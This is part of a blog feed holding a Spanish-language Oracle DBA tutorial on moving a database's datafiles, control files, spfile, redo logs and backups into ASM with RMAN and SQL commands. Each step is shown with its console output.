¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2932987194307539277-7594217945278639474?l=blog.e-dba.biz' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SnapshotTooOld/~4/Yvp13dQaKMk" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2009-09-02T11:19:29.221-05:00</atom:updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_13OOTtHDdJc/SmzvatIuGVI/AAAAAAAAAeY/hh5YhgP-SOQ/s72-c/oem.asm.11g.01.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://blog.e-dba.biz/2009/03/asm-series-migrating-db-using-oem.html</feedburner:origLink></item><item><title>Trasladando la Base de Datos hacia ASM</title><link>http://feedproxy.google.com/~r/SnapshotTooOld/~3/MLP77nqinn4/asm-series-migrating-db.html</link><category>ASM</category><author>noreply@blogger.com (Enrique Orbegozo)</author><pubDate>Sat, 07 Mar 2009 13:35:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-8675961986535241689</guid><description>&lt;div&gt;Cómo vuela el tiempo, ha pasado ya un &lt;b&gt;mes&lt;/b&gt; desde mi último &lt;b&gt;Post&lt;/b&gt;, mil disculpas, salí de vacaciones con toda la familia y aun cuando acostumbro tomarme unos días para &lt;b&gt;&lt;i&gt;reponerme&lt;/i&gt;&lt;/b&gt; de ellas, pues cuando son en familia es dificil descansar, a mi regreso tenía trabajo acumulado así que empecé una &lt;b&gt;Consultoría&lt;/b&gt; en el día y el dictado del curso &lt;b&gt;Performance Tuning 10g&lt;/b&gt; por las noches, manteniéndome bastante ocupado las últimas semanas. Hoy tengo algo de tiempo por lo que sin más demoras retomaré la &lt;b&gt;serie&lt;/b&gt; que iniciara en el &lt;a href="http://blog.e-dba.biz/2009/02/asm-series-installation-asmlib.html"&gt;Post previo&lt;/a&gt;, recordarán que en él les mostré como &lt;b&gt;instalar y configurar&lt;/b&gt; el software necesario, así como la &lt;b&gt;creación&lt;/b&gt; de la instancia ASM; ahora continuaré con el &lt;b&gt;traslado manual&lt;/b&gt; de la base de datos hacia &lt;b&gt;ASM&lt;/b&gt;, incluyendo: &lt;i&gt;spfile, control files, datafiles, online redo logs, archive logs, backups, tracking file&lt;/i&gt; y &lt;i&gt;flashback logs&lt;/i&gt;, veamos entonces la secuencia de pasos a seguir.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Migración de la Base de Datos hacia ASM&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;1.&lt;/span&gt; Obtenemos un &lt;b&gt;backup&lt;/b&gt; de los &lt;i&gt;datafiles&lt;/i&gt; directamente hacia &lt;i&gt;ASM&lt;/i&gt;, como copias y sobre el &lt;i&gt;disk group&lt;/i&gt; &lt;b&gt;+DAT&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;RMAN&amp;gt; backup as copy incremental level 0 database
2&amp;gt; format '+DAT' tag 'migracion_asm';

Starting backup at 04/02/2009 04:10:11
using target database control file instead of recovery catalog
allocated channel: ORA_DISK_1
channel ORA_DISK_1: SID=120 device type=DISK
channel ORA_DISK_1: starting datafile copy
input datafile file number=00001 name=/u01/app/oracle/oradata/orcl/system01.dbf
output file name=+DAT/orcl/datafile/system.265.677909423 tag=MIGRACION_ASM RECID=2 STAMP=677909527
channel ORA_DISK_1: datafile copy complete, elapsed time: 00:01:55
channel ORA_DISK_1: starting datafile copy
input datafile file number=00002 name=/u01/app/oracle/oradata/orcl/sysaux01.dbf
output file name=+DAT/orcl/datafile/sysaux.264.677909533 tag=MIGRACION_ASM RECID=3 STAMP=677909606
channel ORA_DISK_1: datafile copy complete, elapsed time: 00:01:26
channel ORA_DISK_1: starting datafile copy
input datafile file number=00005 name=/u01/app/oracle/oradata/orcl/example01.dbf
output file name=+DAT/orcl/datafile/example.258.677909617 tag=MIGRACION_ASM RECID=4 STAMP=677909630
channel ORA_DISK_1: datafile copy complete, elapsed time: 00:00:15
channel ORA_DISK_1: starting datafile copy
input datafile file number=00003 name=/u01/app/oracle/oradata/orcl/undotbs01.dbf
output file name=+DAT/orcl/datafile/undotbs1.267.677909633 tag=MIGRACION_ASM RECID=5 STAMP=677909641
channel ORA_DISK_1: datafile copy complete, elapsed time: 00:00:15
channel ORA_DISK_1: starting datafile copy
copying current control file
output file name=+DAT/orcl/controlfile/backup.260.677909647 tag=MIGRACION_ASM RECID=6 STAMP=677909648
channel ORA_DISK_1: datafile copy complete, elapsed time: 00:00:03
channel ORA_DISK_1: starting datafile copy
input datafile file number=00004 name=/u01/app/oracle/oradata/orcl/users01.dbf
output file name=+DAT/orcl/datafile/users.263.677909651 tag=MIGRACION_ASM RECID=7 STAMP=677909651
channel ORA_DISK_1: datafile copy complete, elapsed time: 00:00:01
channel ORA_DISK_1: starting incremental level 0 datafile backup set
channel ORA_DISK_1: specifying datafile(s) in backup set
including current SPFILE in backup set
channel ORA_DISK_1: starting piece 1 at 04/02/2009 04:14:12
channel ORA_DISK_1: finished piece 1 at 04/02/2009 04:14:13
piece handle=+DAT/orcl/backupset/2009_02_04/nnsnn0_migracion_asm_0.259.677909653 tag=MIGRACION_ASM comment=NONE
channel ORA_DISK_1: backup set complete, elapsed time: 00:00:01
Finished backup at 04/02/2009 04:14:13&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;2.&lt;/span&gt; Creamos una copia del &lt;b&gt;spfile&lt;/b&gt; en &lt;i&gt;ASM&lt;/i&gt;, para lo cual lo &lt;b&gt;restauramos&lt;/b&gt; a partir del &lt;i&gt;backup&lt;/i&gt; obtenido en el paso anterior. Recuerda que si obtenemos un &lt;i&gt;backup&lt;/i&gt; total o si en él está incluido el &lt;i&gt;tablespace&lt;/i&gt; &lt;b&gt;&lt;i&gt;system&lt;/i&gt;&lt;/b&gt;, el &lt;i&gt;spfile&lt;/i&gt; y el &lt;i&gt;control file&lt;/i&gt; son &lt;b&gt;automáticamente respaldados&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;RMAN&amp;gt; restore spfile to "+DAT/orcl/spfileorcl.ora";

Starting restore at 04/02/2009 04:39:36
allocated channel: ORA_DISK_1
channel ORA_DISK_1: SID=153 device type=DISK

channel ORA_DISK_1: starting datafile backup set restore
channel ORA_DISK_1: restoring SPFILE
output file name=+DAT/orcl/spfileorcl.ora
channel ORA_DISK_1: reading from backup piece +DAT/orcl/backupset/2009_02_04/nnsnn0_migracion_asm_0.259.677909653
channel ORA_DISK_1: piece handle=+DAT/orcl/backupset/2009_02_04/nnsnn0_migracion_asm_0.259.677909653 tag=MIGRACION_ASM
channel ORA_DISK_1: restored backup piece 1
channel ORA_DISK_1: restore complete, elapsed time: 00:00:07
Finished restore at 04/02/2009 04:39:44&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;3.&lt;/span&gt;  Bajamos la base de datos para poder hacer algunos ajustes a la configuración de la instancia.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;RMAN&amp;gt; shutdown immediate

database closed
database dismounted
Oracle instance shut down&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;4.&lt;/span&gt; Reemplazamos el &lt;i&gt;spfile.ora&lt;/i&gt; por un &lt;i&gt;init.ora&lt;/i&gt; que referencia al &lt;i&gt;spfile&lt;/i&gt; que acabamos de copiar en &lt;i&gt;ASM&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ cd $ORACLE_HOME/dbs
[oracle@urania dbs]$ rm spfileorcl.ora
[oracle@urania dbs]$ more initorcl.ora
SPFILE='+DAT/orcl/spfileorcl.ora'&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;5.&lt;/span&gt; Levantamos la instancia solamente (&lt;b&gt;nomount&lt;/b&gt;) y hacemos ajustes a los parámetros &lt;i&gt;control_files&lt;/i&gt;, &lt;i&gt;db_create_file_dest&lt;/i&gt; y &lt;i&gt;db_recovery_file_dest&lt;/i&gt; para que ahora apunten a ubicaciones al interior de &lt;i&gt;ASM&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl&amp;gt; startup nomount;
ORACLE instance started.

Total System Global Area &amp;nbsp;318046208 bytes
Fixed Size &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1313120 bytes
Variable Size &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 180356768 bytes
Database Buffers &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;130023424 bytes
Redo Buffers &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;6352896 bytes

SYS@orcl&amp;gt; alter system set control_files='+DAT','+FRA' scope=spfile;

System altered.

SYS@orcl&amp;gt; alter system set db_create_file_dest='+DAT';

System altered.

SYS@orcl&amp;gt; alter system set db_recovery_file_dest='+FRA';

System altered.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;6.&lt;/span&gt; Para que estos cambios surtan efecto reiniciamos la instancia (&lt;i&gt;nomount&lt;/i&gt;).&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl&amp;gt; startup force nomount;
ORACLE instance started.

Total System Global Area &amp;nbsp;318046208 bytes
Fixed Size &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;1313120 bytes
Variable Size &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 180356768 bytes
Database Buffers &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;130023424 bytes
Redo Buffers &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;6352896 bytes&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;7.&lt;/span&gt; Usamos RMAN para crear los &lt;b&gt;control files&lt;/b&gt; dentro de &lt;i&gt;ASM&lt;/i&gt; en base al existente fuera de él.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;RMAN&amp;gt; restore controlfile from '/u01/app/oracle/oradata/orcl/control01.ctl';

Starting restore at 04/02/2009 04:45:23
using target database control file instead of recovery catalog
allocated channel: ORA_DISK_1
channel ORA_DISK_1: SID=151 device type=DISK

channel ORA_DISK_1: copied control file copy
output file name=+DAT/orcl/controlfile/current.269.677911525
output file name=+FRA/orcl/controlfile/current.265.677911527
Finished restore at 04/02/2009 04:45:28&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;8.&lt;/span&gt; Ahora montamos la base de datos y procedemos a actualizar el &lt;i&gt;control file&lt;/i&gt; para que los &lt;i&gt;datafiles&lt;/i&gt; existentes en &lt;i&gt;ASM&lt;/i&gt; sean usados en lugar de los existentes fuera de él.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;RMAN&amp;gt; alter database mount;

database mounted
released channel: ORA_DISK_1

RMAN&amp;gt; switch database to copy;

datafile 1 switched to datafile copy "+DAT/orcl/datafile/system.265.677909423"
datafile 2 switched to datafile copy "+DAT/orcl/datafile/sysaux.264.677909533"
datafile 3 switched to datafile copy "+DAT/orcl/datafile/undotbs1.267.677909633"
datafile 4 switched to datafile copy "+DAT/orcl/datafile/users.263.677909651"
datafile 5 switched to datafile copy "+DAT/orcl/datafile/example.258.677909617"&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;9.&lt;/span&gt; Como es posible que entre el momento que obtuvimos el &lt;i&gt;backup&lt;/i&gt; del paso &lt;b&gt;1&lt;/b&gt; y el momento en que hicimos el &lt;i&gt;switch&lt;/i&gt; de los &lt;i&gt;datafiles&lt;/i&gt; a &lt;i&gt;ASM&lt;/i&gt;, se haya generado &lt;i&gt;redo&lt;/i&gt;, hacemos un &lt;b&gt;recover&lt;/b&gt; para tener los &lt;i&gt;datafiles&lt;/i&gt; debidamente &lt;b&gt;actualizados&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;RMAN&amp;gt; recover database;

Starting recover at 04/02/2009 04:46:58
allocated channel: ORA_DISK_1
channel ORA_DISK_1: SID=149 device type=DISK

starting media recovery
media recovery complete, elapsed time: 00:00:04

Finished recover at 04/02/2009 04:47:05&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;10.&lt;/span&gt; Los &lt;i&gt;tempfiles&lt;/i&gt; &lt;b&gt;no&lt;/b&gt; son respaldados y por tanto &lt;b&gt;no&lt;/b&gt; son recuperables, lo que hace necesario &lt;b&gt;recrearlos manualmente&lt;/b&gt;, ubicándose en &lt;i&gt;ASM&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;RMAN&amp;gt; run {
2&amp;gt; set newname for tempfile 1 to '+DAT';
3&amp;gt; switch tempfile all;
4&amp;gt; }

executing command: SET NEWNAME

renamed tempfile 1 to +DAT in control file&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;11.&lt;/span&gt; Si teníamos habilitado el &lt;b&gt;block change tracking&lt;/b&gt; (es una "mejor práctica" si usamos &lt;i&gt;Enterprise Edition&lt;/i&gt;), debemos deshabilitarlo temporalmente para habilitarlo nuevamente pero ahora dentro de &lt;i&gt;ASM&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl&amp;gt; alter database disable block change tracking;

Database altered.

SYS@orcl&amp;gt; alter database enable block change tracking using file '+DAT';

Database altered.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;12.&lt;/span&gt; Si estamos usando &lt;b&gt;flashback logs&lt;/b&gt;, debemos proceder de forma similar al paso &lt;b&gt;11&lt;/b&gt;. Ojo que los &lt;i&gt;flashback logs&lt;/i&gt; existentes fuera de &lt;i&gt;ASM&lt;/i&gt; no pueden ser trasladados hacia &lt;i&gt;ASM&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl&amp;gt; alter database flashback off;

Database altered.

SYS@orcl&amp;gt; alter database flashback on;

Database altered.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;13.&lt;/span&gt; Finalmente podemos abrir la base de datos&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl&amp;gt; alter database open;

Database altered.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;14.&lt;/span&gt; Los más &lt;b&gt;observadores&lt;/b&gt; ya lo habrán notado: los &lt;b&gt;redo logs&lt;/b&gt; aún están fuera de &lt;i&gt;ASM&lt;/i&gt;, hay que crear &lt;b&gt;nuevos&lt;/b&gt; y deshacernos de los antiguos.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;SYS@orcl&amp;gt; select a.group#, b.member, a.status
&amp;nbsp;&amp;nbsp;2 &amp;nbsp;from v$log a, v$logfile b
&amp;nbsp;&amp;nbsp;3 &amp;nbsp;where a.group#=b.group#
&amp;nbsp;&amp;nbsp;4 &amp;nbsp;order by a.group#;

&amp;nbsp;GROUP# MEMBER &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; STATUS
------- ---------------------------------------- ---------
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;1 /u01/app/oracle/oradata/orcl/redo01.log &amp;nbsp;CURRENT
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;2 /u01/app/oracle/oradata/orcl/redo02.log &amp;nbsp;INACTIVE
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;3 /u01/app/oracle/oradata/orcl/redo03.log &amp;nbsp;INACTIVE

6 rows selected.

SYS@orcl&amp;gt; alter database add logfile size 50M;

Database altered.

SYS@orcl&amp;gt; alter database add logfile size 50M;

Database altered.

SYS@orcl&amp;gt; alter database add logfile size 50M;

Database altered.

SYS@orcl&amp;gt; alter database drop logfile group 2;

Database altered.

SYS@orcl&amp;gt; alter database drop logfile group 3;

Database altered.

SYS@orcl&amp;gt; alter system switch logfile;

System altered.

SYS@orcl&amp;gt; alter system checkpoint;

System altered.

SYS@orcl&amp;gt; alter database drop logfile group 1;

Database altered.

SYS@orcl&amp;gt; select a.group#, b.member, a.status
&amp;nbsp;&amp;nbsp;2 &amp;nbsp;from v$log a, v$logfile b
&amp;nbsp;&amp;nbsp;3 &amp;nbsp;where a.group#=b.group#
&amp;nbsp;&amp;nbsp;4 &amp;nbsp;order by a.group#;

 GROUP# MEMBER &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;   STATUS
------- ------------------------------------------ ---------
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;4 +DAT/orcl/onlinelog/group_4.267.680822441 &amp;nbsp;CURRENT
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;4 +FRA/orcl/onlinelog/group_4.258.680822445 &amp;nbsp;CURRENT
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;5 +DAT/orcl/onlinelog/group_5.268.680822463 &amp;nbsp;INACTIVE
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;5 +FRA/orcl/onlinelog/group_5.259.680822465 &amp;nbsp;INACTIVE
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;6 +FRA/orcl/onlinelog/group_6.260.680822473 &amp;nbsp;INACTIVE
&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;6 +FRA/orcl/onlinelog/group_6.260.680822475 &amp;nbsp;INACTIVE
&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;15.&lt;/span&gt; Por el lado de la base de datos ya está &lt;b&gt;todo concluido&lt;/b&gt;, la operatividad es normal y todos los archivos requeridos ya están residiendo en &lt;i&gt;ASM&lt;/i&gt;, pero opcionalmente podemos mover los &lt;i&gt;backups&lt;/i&gt; al &lt;i&gt;disk group&lt;/i&gt; &lt;b&gt;+FRA&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;RMAN&amp;gt; run {
2&amp;gt; backup as copy archivelog all delete input;
3&amp;gt; backup backupset all delete input;
4&amp;gt; }

Starting backup at 04/02/2009 04:57:43
current log archived
using target database control file instead of recovery catalog
allocated channel: ORA_DISK_1
channel ORA_DISK_1: SID=115 device type=DISK
channel ORA_DISK_1: starting archived log copy
input archived log thread=1 sequence=2 RECID=1 STAMP=677907178
output file name=+FRA/orcl/archivelog/2009_02_04/thread_1_seq_2.275.677912267 RECID=5 STAMP=677912275
channel ORA_DISK_1: archived log copy complete, elapsed time: 00:00:16
channel ORA_DISK_1: deleting archived log(s)
archived log file name=/u01/app/oracle/flash_recovery_area/ORCL/archivelog/2009_02_04/o1_mf_1_2_4rlnomdm_.arc RECID=1 STAMP=677907178
channel ORA_DISK_1: starting archived log copy
input archived log thread=1 sequence=3 RECID=2 STAMP=677908766
output file name=+FRA/orcl/archivelog/2009_02_04/thread_1_seq_3.260.677912283 RECID=6 STAMP=677912287
channel ORA_DISK_1: archived log copy complete, elapsed time: 00:00:08
channel ORA_DISK_1: deleting archived log(s)
archived log file name=/u01/app/oracle/flash_recovery_area/ORCL/archivelog/2009_02_04/o1_mf_1_3_4rlp7bnl_.arc RECID=2 STAMP=677908766
channel ORA_DISK_1: starting archived log copy
input archived log thread=1 sequence=4 RECID=3 STAMP=677912036
output file name=+FRA/orcl/archivelog/2009_02_04/thread_1_seq_4.262.677912291 RECID=7 STAMP=677912291
channel ORA_DISK_1: archived log copy complete, elapsed time: 00:00:03
channel ORA_DISK_1: deleting archived log(s)
archived log file name=+FRA/orcl/archivelog/2009_02_04/thread_1_seq_4.257.677912033 RECID=3 STAMP=677912036
channel ORA_DISK_1: starting archived log copy
input archived log thread=1 sequence=5 RECID=4 STAMP=677912263
output file name=+FRA/orcl/archivelog/2009_02_04/thread_1_seq_5.257.677912295 RECID=8 STAMP=677912294
channel ORA_DISK_1: archived log copy complete, elapsed time: 00:00:01
channel ORA_DISK_1: deleting archived log(s)
archived log file name=+FRA/orcl/archivelog/2009_02_04/thread_1_seq_5.272.677912263 RECID=4 STAMP=677912263
Finished backup at 04/02/2009 04:58:15

Starting backup at 04/02/2009 04:58:19
using channel ORA_DISK_1
input backup set count=1 STAMP=677908586 creation_time=04/02/2009 03:56:26
channel ORA_DISK_1: starting piece 1 at 04/02/2009 04:58:20
channel ORA_DISK_1: backup piece /u01/app/oracle/flash_recovery_area/ORCL/backupset/2009_02_04/o1_mf_nnnd0_BACKUP_ORCL.LOCALD_0_4rlp1wqr_.bkp
piece handle=+FRA/orcl/backupset/2009_02_04/nnndf0_0.272.677912301 comment=NONE
channel ORA_DISK_1: finished piece 1 at 04/02/2009 04:59:05
channel ORA_DISK_1: backup set complete, elapsed time: 00:00:45
deleted backup piece
backup piece handle=/u01/app/oracle/flash_recovery_area/ORCL/backupset/2009_02_04/o1_mf_nnnd0_BACKUP_ORCL.LOCALD_0_4rlp1wqr_.bkp RECID=1 STAMP=677908588
input backup set count=2 STAMP=677908753 creation_time=04/02/2009 03:59:13
channel ORA_DISK_1: starting piece 1 at 04/02/2009 04:59:06
channel ORA_DISK_1: backup piece /u01/app/oracle/flash_recovery_area/ORCL/backupset/2009_02_04/o1_mf_ncsn0_BACKUP_ORCL.LOCALD_0_4rlp752m_.bkp
piece handle=+FRA/orcl/backupset/2009_02_04/ncsnf0_0.270.677912347 comment=NONE
channel ORA_DISK_1: finished piece 1 at 04/02/2009 04:59:09
channel ORA_DISK_1: backup set complete, elapsed time: 00:00:02
deleted backup piece
backup piece handle=/u01/app/oracle/flash_recovery_area/ORCL/backupset/2009_02_04/o1_mf_ncsn0_BACKUP_ORCL.LOCALD_0_4rlp752m_.bkp RECID=2 STAMP=677908757
input backup set count=3 STAMP=677908767 creation_time=04/02/2009 03:59:27
channel ORA_DISK_1: starting piece 1 at 04/02/2009 04:59:09
channel ORA_DISK_1: backup piece /u01/app/oracle/flash_recovery_area/ORCL/backupset/2009_02_04/o1_mf_annnn_BACKUP_ORCL.LOCALD_0_4rlp7hsk_.bkp
piece handle=+FRA/orcl/backupset/2009_02_04/annnf0_0.256.677912351 comment=NONE
channel ORA_DISK_1: finished piece 1 at 04/02/2009 04:59:17
channel ORA_DISK_1: backup set complete, elapsed time: 00:00:07
deleted backup piece
backup piece handle=/u01/app/oracle/flash_recovery_area/ORCL/backupset/2009_02_04/o1_mf_annnn_BACKUP_ORCL.LOCALD_0_4rlp7hsk_.bkp RECID=3 STAMP=677908767
input backup set count=10 STAMP=677909652 creation_time=04/02/2009 04:14:12
channel ORA_DISK_1: starting piece 1 at 04/02/2009 04:59:17
channel ORA_DISK_1: backup piece +DAT/orcl/backupset/2009_02_04/nnsnn0_migracion_asm_0.259.677909653
piece handle=+FRA/orcl/backupset/2009_02_04/nnnnf0_0.271.677912357 comment=NONE
channel ORA_DISK_1: finished piece 1 at 04/02/2009 04:59:18
channel ORA_DISK_1: backup set complete, elapsed time: 00:00:01
deleted backup piece
backup piece handle=+DAT/orcl/backupset/2009_02_04/nnsnn0_migracion_asm_0.259.677909653 RECID=4 STAMP=677909652
Finished backup at 04/02/2009 04:59:19&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;16.&lt;/span&gt; Con los archivos de la base de datos, los &lt;i&gt;archive logs&lt;/i&gt; y los &lt;i&gt;backups&lt;/i&gt; residiendo en &lt;i&gt;ASM&lt;/i&gt;, no hay problema en eliminar los archivos que aún quedan en los &lt;i&gt;file systems&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ rm -rf /u01/app/oracle/oradata/orcl
[oracle@urania ~]$ rm -rf /u01/app/oracle/flash_recovery_area/ORCL&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;¡Tarea &lt;b&gt;concluída&lt;/b&gt;!, no fué tan dificil y como beneficio contamos ahora con una base de datos operando exclusivamente sobre &lt;b&gt;ASM&lt;/b&gt;. Tengan en cuenta que &lt;b&gt;no&lt;/b&gt; es necesario que todo esto se haga en el mismo momento, el &lt;i&gt;backup&lt;/i&gt; tipo copia lo pueden obtener en el momento que deseen y mientras no pierdan los &lt;i&gt;archive logs&lt;/i&gt; y/o sus &lt;b&gt;backups&lt;/b&gt;, el resto de pasos lo pueden &lt;b&gt;postergar&lt;/b&gt; para el momento más oportuno, con lo que la suspensión del servicio se &lt;b&gt;reduce&lt;/b&gt; al tiempo que tome ejecutar el procedimiento de &lt;b&gt;switch&lt;/b&gt; (paso 8) y &lt;b&gt;recover&lt;/b&gt; (paso 9), que en la práctica puede representar unos pocos minutos. En un siguiente &lt;b&gt;&lt;a href="http://enriqueorbegozo.blogspot.com/2009/03/asm-series-migrating-db-using-oem.html"&gt;Post&lt;/a&gt;&lt;/b&gt; les mostraré lo fácil que resulta hacer esta migración usando &lt;b&gt;Database Console&lt;/b&gt; y también cómo realizar un &lt;a href="http://enriqueorbegozo.blogspot.com/2009/04/asm-series-upgrade-register-oem.html"&gt;&lt;i&gt;upgrade&lt;/i&gt; a &lt;i&gt;ASM&lt;/i&gt;&lt;/a&gt;, hasta la próxima...&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Post Relacionados:&lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/02/asm-series-installation-asmlib.html"&gt;Bye bye raw device, ¡bienvenido ASM!&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/03/asm-series-migrating-db-using-oem.html"&gt;Migrando la base de datos a ASM, la forma fácil&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/04/asm-series-upgrade-register-oem.html"&gt;Actualizando ASM y registrándolo en OEM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2008/11/filesystemiooptions-asynch-directio.html"&gt;¿Cómo acelerar el acceso a los file systems?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
